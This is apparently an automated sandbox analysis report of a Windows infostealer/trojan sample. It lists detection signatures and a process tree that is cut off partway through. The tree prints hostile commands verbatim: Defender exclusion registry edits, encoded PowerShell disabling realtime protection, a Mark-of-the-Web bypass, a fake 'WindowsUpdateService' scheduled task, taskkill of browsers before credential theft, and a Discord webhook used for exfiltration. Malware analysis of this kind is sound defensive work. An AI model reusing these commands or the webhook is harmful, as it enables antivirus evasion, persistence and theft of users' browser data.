Overview

overview

10

Static

static

10

2026-08-15...-s.exe

windows10-2004-x64

10

2026-08-15...-s.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    152s
  • max time network
    165s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 01:16

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-15_a65c26f0b4b8618b42d502a731131a5e_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
  • Size 163.7MB
  • Sample260815-bm22hadb43
  • SHA256 712bf4e54313a98839b5ae496155e697526617e91ae0f017f76df99ae0d4d58d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionpersistencepyinstallerspywarestealertrojan

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
    defense_evasiontrojan
  • Detects executables Discord URL observed in first stage droppers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Windows directory 8 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 63 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Kills process with taskkill 36 IoCs
    defense_evasion
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-15_a65c26f0b4b8618b42d502a731131a5e_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-15_a65c26f0b4b8618b42d502a731131a5e_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1324
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\_henwmq7nh88q.ps1""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\_henwmq7nh88q.ps1"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3340
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wzqqqlvc\wzqqqlvc.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5696
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB9C1.tmp" "c:\Users\Admin\AppData\Local\Temp\wzqqqlvc\CSC27A41C264364838B5B9288045E87075.TMP"
            5⤵
              PID:4656
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\2026-08-15_a65c26f0b4b8618b42d502a731131a5e_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4616
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\2026-08-15_a65c26f0b4b8618b42d502a731131a5e_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4564
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "cmd /c "echo. > "C:\Users\Admin\AppData\Local\Temp\2026-08-15_a65c26f0b4b8618b42d502a731131a5e_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe:Zone.Identifier"""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2280
        • C:\Windows\system32\cmd.exe
          cmd /c "echo. > "C:\Users\Admin\AppData\Local\Temp\2026-08-15_a65c26f0b4b8618b42d502a731131a5e_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe:Zone.Identifier""
          3⤵
          • Subvert Trust Controls: Mark-of-the-Web Bypass
          • Executes a command shell one-liner
          • NTFS ADS
          PID:5392
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4004
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5772
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:3768
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAyADAAMgA2AC0AMAA4AC0AMQA1AF8AYQA2ADUAYwAyADYAZgAwAGIANABiADgANgAxADgAYgA0ADIAZAA1ADAAMgBhADcAMwAxADEAMwAxAGEANQBlAF8AYgB5AGEAawB1AGcAYQBuAF8AYwBvAGIAYQBsAHQALQBzAHQAcgBpAGsAZQBfAGMAbwBpAG4AbQBpAG4AZQByAF8AZwBsAGEAcwBzAHcAbwByAG0AXwBpAGMAZQBkAGkAZABfAGwAdQBjAGEALQBzAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlAA=="
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5816
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAyADAAMgA2AC0AMAA4AC0AMQA1AF8AYQA2ADUAYwAyADYAZgAwAGIANABiADgANgAxADgAYgA0ADIAZAA1ADAAMgBhADcAMwAxADEAMwAxAGEANQBlAF8AYgB5AGEAawB1AGcAYQBuAF8AYwBvAGIAYQBsAHQALQBzAHQAcgBpAGsAZQBfAGMAbwBpAG4AbQBpAG4AZQByAF8AZwBsAGEAcwBzAHcAbwByAG0AXwBpAGMAZQBkAGkAZABfAGwAdQBjAGEALQBzAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlAA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4796
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlAA=="
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:460
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlAA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5788
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAJwAgAC0ARgBvAHIAYwBlAA=="
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2132
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAJwAgAC0ARgBvAHIAYwBlAA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4236
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "net session"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1380
          • C:\Windows\system32\net.exe
            net session
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1056
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              4⤵
                PID:6036
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\2026-08-15_a65c26f0b4b8618b42d502a731131a5e_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe" /t REG_DWORD /d 1 /f"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5920
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\2026-08-15_a65c26f0b4b8618b42d502a731131a5e_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe" /t REG_DWORD /d 1 /f
              3⤵
              • Windows security bypass
              PID:5776
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp" /t REG_DWORD /d 1 /f"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2620
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp" /t REG_DWORD /d 1 /f
              3⤵
              • Windows security bypass
              PID:4444
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Roaming" /t REG_DWORD /d 1 /f"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4764
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Roaming" /t REG_DWORD /d 1 /f
              3⤵
              • Windows security bypass
              PID:2920
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp" /t REG_DWORD /d 1 /f"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5912
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp" /t REG_DWORD /d 1 /f
              3⤵
              • Windows security bypass
              PID:3176
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAyADAAMgA2AC0AMAA4AC0AMQA1AF8AYQA2ADUAYwAyADYAZgAwAGIANABiADgANgAxADgAYgA0ADIAZAA1ADAAMgBhADcAMwAxADEAMwAxAGEANQBlAF8AYgB5AGEAawB1AGcAYQBuAF8AYwBvAGIAYQBsAHQALQBzAHQAcgBpAGsAZQBfAGMAbwBpAG4AbQBpAG4AZQByAF8AZwBsAGEAcwBzAHcAbwByAG0AXwBpAGMAZQBkAGkAZABfAGwAdQBjAGEALQBzAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlAA=="
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4876
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAyADAAMgA2AC0AMAA4AC0AMQA1AF8AYQA2ADUAYwAyADYAZgAwAGIANABiADgANgAxADgAYgA0ADIAZAA1ADAAMgBhADcAMwAxADEAMwAxAGEANQBlAF8AYgB5AGEAawB1AGcAYQBuAF8AYwBvAGIAYQBsAHQALQBzAHQAcgBpAGsAZQBfAGMAbwBpAG4AbQBpAG4AZQByAF8AZwBsAGEAcwBzAHcAbwByAG0AXwBpAGMAZQBkAGkAZABfAGwAdQBjAGEALQBzAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlAA==
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4880
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5980
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -WindowStyle Hidden -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:592
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB1AHAAZABfAGkAZQBlAGkAbQA2AHEAMwA4ADIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUA"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:240
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB1AHAAZABfAGkAZQBlAGkAbQA2AHEAMwA4ADIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUA
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:5312
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\upd_ieeim6q382.exe'""
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4372
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\upd_ieeim6q382.exe'"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2404
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "net session"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2424
            • C:\Windows\system32\net.exe
              net session
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1120
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 session
                4⤵
                  PID:3684
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "wscript "C:\Users\Admin\AppData\Local\Temp\ui_0mq5rm6ww41h.vbs""
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3040
              • C:\Windows\system32\wscript.exe
                wscript "C:\Users\Admin\AppData\Local\Temp\ui_0mq5rm6ww41h.vbs"
                3⤵
                • Executes a VBScript file via the Windows Script Host.
                • Suspicious use of WriteProcessMemory
                PID:3964
                • C:\Users\Admin\AppData\Local\Temp\upd_ieeim6q382.exe
                  "C:\Users\Admin\AppData\Local\Temp\upd_ieeim6q382.exe" "" "https://discord.com/api/webhooks/1492193213467988080/_tyHlpxwo1c2mc1Wg7kyhicI4MZaQDn16vHuhjTzgM_YuYiX-S4T5XCjwaNKmUR_Wv3w"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:3108
                  • C:\Users\Admin\AppData\Local\Temp\upd_ieeim6q382.exe
                    "C:\Users\Admin\AppData\Local\Temp\upd_ieeim6q382.exe" "" "https://discord.com/api/webhooks/1492193213467988080/_tyHlpxwo1c2mc1Wg7kyhicI4MZaQDn16vHuhjTzgM_YuYiX-S4T5XCjwaNKmUR_Wv3w"
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:976
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsUpdateService" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate\svchost.exe" --silent" /sc onlogon /rl highest /f"
                      6⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:4656
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /tn "WindowsUpdateService" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate\svchost.exe" --silent" /sc onlogon /rl highest /f
                        7⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5292
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM msedge.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:4348
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM msedge.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:5576
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM 360chrome.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:908
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM 360chrome.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:692
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM qqbrowser.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:4224
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM qqbrowser.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:4264
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM opera.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:2092
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM opera.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:896
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM firefox.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:3352
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM firefox.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:3240
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM brave.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:4344
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM brave.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:3288
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM vivaldi.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      PID:4264
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM vivaldi.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:5492
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM coccoc.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      PID:5048
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM coccoc.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:2476
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM yandex.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      PID:2228
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM yandex.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:5032
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      PID:2200
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM chrome.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:2360
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM QQBrowser.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      PID:3692
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM QQBrowser.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:5948
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM browser.exe /T"
                      6⤵
                      • Executes a command shell one-liner
                      PID:3664
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /IM browser.exe /T
                        7⤵
                        • Kills process with taskkill
                        PID:3448
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
                      6⤵
                      • Executes a command shell one-liner
                      PID:5964
                      • C:\Windows\system32\reg.exe
                        reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
                        7⤵
                          PID:4788
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\_svc_qd3erm34pw.ps1""
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4732
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\_svc_qd3erm34pw.ps1"
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4564
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\_svc_91ig7kkijrw.ps1""
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:5356
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\_svc_91ig7kkijrw.ps1"
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1984
            • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate\svchost.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate\svchost.exe" --silent
              1⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3560
              • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate\svchost.exe
                "C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate\svchost.exe" --silent
                2⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                PID:4500
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsUpdateService" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate\svchost.exe" --silent" /sc onlogon /rl highest /f"
                  3⤵
                  • Executes a command shell one-liner
                  PID:3280
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /tn "WindowsUpdateService" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\WindowsUpdate\svchost.exe" --silent" /sc onlogon /rl highest /f
                    4⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4428
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "taskkill /F /IM QQBrowser.exe /T"
                  3⤵
                  • Executes a command shell one-liner
                  PID:996
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM QQBrowser.exe /T
                    4⤵
                    • Kills process with taskkill
                    PID:5040
                • C:\Windows\system32\cmd.exe
